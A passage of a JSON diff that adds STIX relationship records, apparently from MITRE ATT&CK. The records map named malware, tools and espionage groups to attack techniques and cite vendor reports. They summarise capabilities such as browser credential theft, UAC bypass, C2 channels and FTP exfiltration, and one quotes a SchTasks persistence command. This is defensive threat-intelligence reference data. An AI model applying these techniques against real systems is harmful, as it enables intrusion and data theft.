"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--16043223-3846-4138-93d0-671339ba3646", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to execute shell commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--98a9bef7-8aff-4cbb-958b-14cb72954b8a", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses [Process Hollowing](https://attack.mitre.org/techniques/T1093) and regsvr32 to execute another payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--18d4782f-0e33-4bf5-b0a2-8dc04cacb617", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "modified": "2019-09-16T18:01:16.143Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can use the Windows API function CreateProcess to execute another process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--deafd60c-af1a-40eb-bc43-287b37553fae", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.793Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lastline PlugX Analysis", + "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.", + "url": "http://labs.lastline.com/an-analysis-of-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.031Z", + "id": "relationship--ef2b823b-2fb1-442a-9d91-cf088242f6a6", + "source_ref": "course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf", + "modified": "2019-07-24T19:18:26.270Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "description": "NavRAT is linked to [APT37](https://attack.mitre.org/groups/G0067) with medium confidence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e6f81b9c-8fda-49f5-a944-265f5bad82ba", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.912Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos NavRAT May 2018", + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) gathers logins and passwords stored in applications on the victims, including Google Chrome, Mozilla Firefox, and several other browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5033a0a2-ef95-4ec6-b5ac-d7cfbd7be9f0", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.200Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.018Z", + "id": "relationship--1e91cd45-a725-4965-abe3-700694374432", + "source_ref": "course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f", + "modified": "2019-07-25T11:36:17.895Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain the OS version information, computer name, processor architecture, machine role, and OS edition.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9b36e877-e637-46b8-bdf1-def74c977472", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) collects the endpoint victim's username and uses it as a basis for downloading additional components from the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--41634cea-6236-4013-bda3-345bcba4f40f", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) exfiltrates collected files automatically over FTP to remote servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d8ac067b-f246-40bb-98bd-fcff74092139", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "source_name": "F-Secure Cosmicduke", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "Most strings in [USBStealer](https://attack.mitre.org/software/S0136) are encrypted using 3DES and XOR and reversed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--016dc21c-ade9-43cc-9d88-a0c4c0891ccc", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--8f460983-1bbb-4e7e-8094-f0b5e720f658", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5377a247-28a9-4dc1-957f-78980504a5a3", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.740Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Sofacy DealersChoice", + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-ProcessTokenPrivilege Privesc-PowerUp module can enumerate privileges for a given process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c1cbaa0f-59d2-4b49-a91f-c21bff7ca009", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[yty](https://attack.mitre.org/software/S0248) establishes persistence by creating a scheduled task with the command SchTasks /Create /SC DAILY /TN BigData /TR \u201c + path_file + \u201c/ST 09:30\u201c.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1ebc312e-68a4-4119-94c5-79897a5bf5b4", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.085Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) encrypts C2 communications with RC4 as well as TLS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f29a3a93-e697-4d6f-8087-eec72856bae5", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.839Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) is initially packed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--141d1c0d-2f56-4b56-8834-ca3dab22faf9", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) has a command to download an .exe and execute it via CreateProcess API. It can also run with ShellExecute.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d15cda3e-7ed6-4914-a0a8-ff1f4fe668ec", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using [Mimikatz](https://attack.mitre.org/software/S0002).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.033Z", + "id": "relationship--c8db7b65-563d-47ba-9e06-cabdbade47e9", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.359Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d2a8729f-6271-46a0-8a40-a8567c9e5092", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.491Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[TA459](https://attack.mitre.org/groups/G0062) has targeted victims using spearphishing emails with malicious Microsoft Word attachments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--76021528-7cb6-461a-870a-f681cac19285", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "modified": "2019-03-25T17:00:47.332Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) gathers the victim's computer name, Windows version, and system language, and then sends it to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7bb2d594-36dc-458d-9f9b-8a3df42fac67", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.019Z", + "id": "relationship--442aa7b4-00a0-4d73-ae61-5a09c319ac1c", + "source_ref": "course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad", + "modified": "2019-07-24T18:14:14.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to compress files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b997d866-0aef-4ba6-a812-cfa2fccb05af", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) uses cmd.exe to execute netshcommands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8576db0e-6a7c-40d4-b797-fb0094d5849f", + "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "source_name": "US-CERT HARDRAIN March 2018", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) uses HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--42aa16be-5b53-4645-998b-9eb5de8c0429", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.137Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can enumerate Registry values, keys, and data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fdb02bf4-a950-4ae7-b07c-a3ed0322ef6e", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can communicate to its C2 over TCP using a custom binary protocol.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4176d195-5740-47c2-874d-51704e7d293e", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) can download and execute files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--438cae9c-cb03-4db9-ae59-24ed27147725", + "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sponchioni, R.. (2016, March 11). Backdoor.Nidiran. Retrieved August 3, 2016.", + "source_name": "Symantec Backdoor.Nidiran", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2015-120123-5521-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can bypass Windows UAC through either DLL hijacking, eventvwr, or appPaths.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--321a3181-9478-4a4c-b13b-607dbfeee7fc", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.743Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Rover](https://attack.mitre.org/software/S0090) takes screenshots of the compromised system's desktop and saves them to C:\\system\\screenshot.bmp for exfiltration every 60 minutes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6184b127-47cf-43fc-880b-890554d9cc9a", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "source_name": "Palo Alto Rover", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Reaver](https://attack.mitre.org/software/S0172) encrypts some of its files with XOR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--5077f774-95a4-459e-b88c-cb3a4dd5c8c6", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and 